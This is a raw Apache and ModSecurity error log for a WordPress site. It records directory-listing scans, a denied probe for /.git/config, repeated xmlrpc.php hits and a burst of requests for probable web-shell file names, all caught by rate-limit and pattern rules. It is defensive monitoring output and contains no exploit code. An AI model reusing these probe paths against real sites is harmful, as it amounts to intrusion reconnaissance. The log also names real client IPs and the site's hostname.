[Fri Apr 24 23:10:42.895115 2026] [autoindex:error] [pid 17808:tid 17818] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:44.140955 2026] [autoindex:error] [pid 17808:tid 17823] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:10:45.445779 2026] [autoindex:error] [pid 17808:tid 17810] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:01.384219 2026] [autoindex:error] [pid 17808:tid 17810] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:03.707750 2026] [autoindex:error] [pid 17808:tid 17829] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:06.079673 2026] [autoindex:error] [pid 17808:tid 17810] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:09.956921 2026] [autoindex:error] [pid 17808:tid 17821] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:11.439976 2026] [autoindex:error] [pid 17808:tid 17816] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:11.621470 2026] [autoindex:error] [pid 17808:tid 17813] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:13.435558 2026] [autoindex:error] [pid 17808:tid 17822] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:13.639459 2026] [autoindex:error] [pid 17808:tid 17821] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:13.824349 2026] [autoindex:error] [pid 17808:tid 17826] [client 173.239.218.184:53289] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:19.156659 2026] [autoindex:error] [pid 17720:tid 17765] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:21.682188 2026] [autoindex:error] [pid 17720:tid 17756] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:30.332853 2026] [autoindex:error] [pid 17720:tid 17756] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:30.729169 2026] [autoindex:error] [pid 17720:tid 17754] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:32.527514 2026] [autoindex:error] [pid 17720:tid 17778] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:34.038340 2026] [autoindex:error] [pid 17720:tid 17766] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:37.787863 2026] [autoindex:error] [pid 17720:tid 17760] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:43.144914 2026] [autoindex:error] [pid 17720:tid 17765] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:48.882547 2026] [autoindex:error] [pid 17720:tid 17774] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:53.187280 2026] [autoindex:error] [pid 17720:tid 17775] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:11:53.608043 2026] [autoindex:error] [pid 17720:tid 17776] [client 173.239.218.181:32493] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 23:48:19.047961 2026] [:error] [pid 22114:tid 22130] [client 35.223.76.251:48064] [client 35.223.76.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeuQw4AuWGz3WlMQjocILwAAAQ0"]
[Sat Apr 25 02:20:11.128977 2026] [:error] [pid 42792:tid 42841] [client 191.54.160.53:59582] [client 191.54.160.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.54.160.53, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeu0W9Ni9qR4GtafpfHtVgAAAhM"]
[Sat Apr 25 02:20:21.391056 2026] [:error] [pid 42792:tid 42830] [client 191.54.160.53:39313] [client 191.54.160.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.54.160.53, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeu0ZdNi9qR4GtafpfHtYAAAAgg"]
[Sat Apr 25 02:20:31.007089 2026] [:error] [pid 42791:tid 42808] [client 191.54.160.53:60552] [client 191.54.160.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.54.160.53, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeu0b7KmN9doraCEWKX_kAAAAc0"]
[Sat Apr 25 02:20:41.657861 2026] [:error] [pid 14989:tid 15002] [client 191.54.160.53:61036] [client 191.54.160.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.54.160.53, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeu0eXhRYjsAsZTO4EO7-gAAAAs"]
[Sat Apr 25 02:20:52.427813 2026] [:error] [pid 14989:tid 15005] [client 191.54.160.53:39661] [client 191.54.160.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.54.160.53, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeu0hHhRYjsAsZTO4EO8OwAAAA4"]
[Sat Apr 25 02:48:24.019869 2026] [:error] [pid 28786:tid 28812] [client 40.89.132.50:42206] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pinfo.php"] [unique_id "aeu6-NmKAVQi4GwijepCJAAAAZc"]
[Sat Apr 25 02:48:25.034139 2026] [:error] [pid 29016:tid 29049] [client 40.89.132.50:51225] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pinfo.php"] [unique_id "aeu6-UQMwwBEZ8EaFL9AAAAAA0w"]
[Sat Apr 25 02:48:27.746202 2026] [:error] [pid 28841:tid 28869] [client 40.89.132.50:63516] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pinfo.php"] [unique_id "aeu6--tkQQ-2d-KEcF-qHgAAAo4"]
[Sat Apr 25 02:48:28.892324 2026] [:error] [pid 28717:tid 28732] [client 40.89.132.50:56564] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pinfo.php"] [unique_id "aeu6_IWg982VYbVGgm43JAAAAQ0"]
[Sat Apr 25 02:48:30.798150 2026] [:error] [pid 42852:tid 42860] [client 40.89.132.50:29823] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/litespeed.php"] [unique_id "aeu6_jMEwxhhak_EhMK5IwAAAkU"]
[Sat Apr 25 02:48:36.901151 2026] [:error] [pid 42755:tid 42779] [client 40.89.132.50:60238] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/litespeed.php"] [unique_id "aeu7BNH7__k0j6aa600aUgAAAJY"]
[Sat Apr 25 02:48:41.127739 2026] [:error] [pid 28786:tid 28804] [client 40.89.132.50:46991] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/litespeed.php"] [unique_id "aeu7CdmKAVQi4GwijepCNQAAAY8"]
[Sat Apr 25 02:48:42.251371 2026] [:error] [pid 28786:tid 28803] [client 40.89.132.50:27027] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/litespeed.php"] [unique_id "aeu7CtmKAVQi4GwijepCOQAAAY4"]
[Sat Apr 25 02:48:42.963694 2026] [:error] [pid 42755:tid 42760] [client 40.89.132.50:30882] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/environments.php"] [unique_id "aeu7CtH7__k0j6aa600aWAAAAIM"]
[Sat Apr 25 02:48:43.668618 2026] [:error] [pid 28786:tid 28794] [client 40.89.132.50:37620] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/environments.php"] [unique_id "aeu7C9mKAVQi4GwijepCPQAAAYU"]
[Sat Apr 25 02:48:44.256621 2026] [:error] [pid 28786:tid 28793] [client 40.89.132.50:36306] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/environments.php"] [unique_id "aeu7DNmKAVQi4GwijepCQgAAAYQ"]
[Sat Apr 25 02:48:45.133865 2026] [:error] [pid 28786:tid 28803] [client 40.89.132.50:37620] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/environments.php"] [unique_id "aeu7DdmKAVQi4GwijepCRwAAAY4"]
[Sat Apr 25 02:48:45.840484 2026] [:error] [pid 28786:tid 28810] [client 40.89.132.50:56532] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/raf.php"] [unique_id "aeu7DdmKAVQi4GwijepCTgAAAZU"]
[Sat Apr 25 02:48:46.651228 2026] [:error] [pid 28786:tid 28803] [client 40.89.132.50:27059] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/raf.php"] [unique_id "aeu7DtmKAVQi4GwijepCVAAAAY4"]
[Sat Apr 25 02:48:47.524086 2026] [:error] [pid 42792:tid 42842] [client 40.89.132.50:33802] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/raf.php"] [unique_id "aeu7D9Ni9qR4GtafpfH1vAAAAhQ"]
[Sat Apr 25 02:48:48.419625 2026] [:error] [pid 28786:tid 28789] [client 40.89.132.50:46999] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/raf.php"] [unique_id "aeu7ENmKAVQi4GwijepCaAAAAYA"]
[Sat Apr 25 02:48:49.084811 2026] [:error] [pid 29016:tid 29040] [client 40.89.132.50:36296] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeu7EUQMwwBEZ8EaFL9AIAAAA0M"]
[Sat Apr 25 02:48:49.710810 2026] [:error] [pid 42755:tid 42764] [client 40.89.132.50:60275] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeu7EdH7__k0j6aa600aXwAAAIc"]
[Sat Apr 25 02:48:50.624001 2026] [:error] [pid 29016:tid 29053] [client 40.89.132.50:63545] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeu7EkQMwwBEZ8EaFL9AIQAAA1A"]
[Sat Apr 25 02:48:51.381708 2026] [:error] [pid 29016:tid 29060] [client 40.89.132.50:28237] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeu7E0QMwwBEZ8EaFL9AIgAAA1c"]
[Sat Apr 25 02:48:52.898346 2026] [:error] [pid 28786:tid 28809] [client 40.89.132.50:44617] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/infos.php"] [unique_id "aeu7FNmKAVQi4GwijepCmgAAAZQ"]
[Sat Apr 25 02:48:54.441601 2026] [:error] [pid 42755:tid 42763] [client 40.89.132.50:29793] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/infos.php"] [unique_id "aeu7FtH7__k0j6aa600aZgAAAIY"]
[Sat Apr 25 02:48:57.807009 2026] [:error] [pid 28841:tid 28879] [client 40.89.132.50:35726] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/infos.php"] [unique_id "aeu7GetkQQ-2d-KEcF-qKAAAApg"]
[Sat Apr 25 02:48:58.757439 2026] [:error] [pid 14989:tid 15005] [client 40.89.132.50:47007] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/infos.php"] [unique_id "aeu7GnhRYjsAsZTO4EPLAgAAAA4"]
[Sat Apr 25 02:48:59.909692 2026] [:error] [pid 42852:tid 42870] [client 40.89.132.50:44640] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aws.php"] [unique_id "aeu7GzMEwxhhak_EhMK5LgAAAk8"]
[Sat Apr 25 02:49:00.614135 2026] [:error] [pid 42755:tid 42769] [client 40.89.132.50:33835] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aws.php"] [unique_id "aeu7HNH7__k0j6aa600acgAAAIw"]
[Sat Apr 25 02:49:01.348550 2026] [:error] [pid 42755:tid 42775] [client 40.89.132.50:55444] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aws.php"] [unique_id "aeu7HdH7__k0j6aa600adQAAAJI"]
[Sat Apr 25 02:49:02.063776 2026] [:error] [pid 42755:tid 42774] [client 40.89.132.50:35736] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aws.php"] [unique_id "aeu7HtH7__k0j6aa600aegAAAJE"]
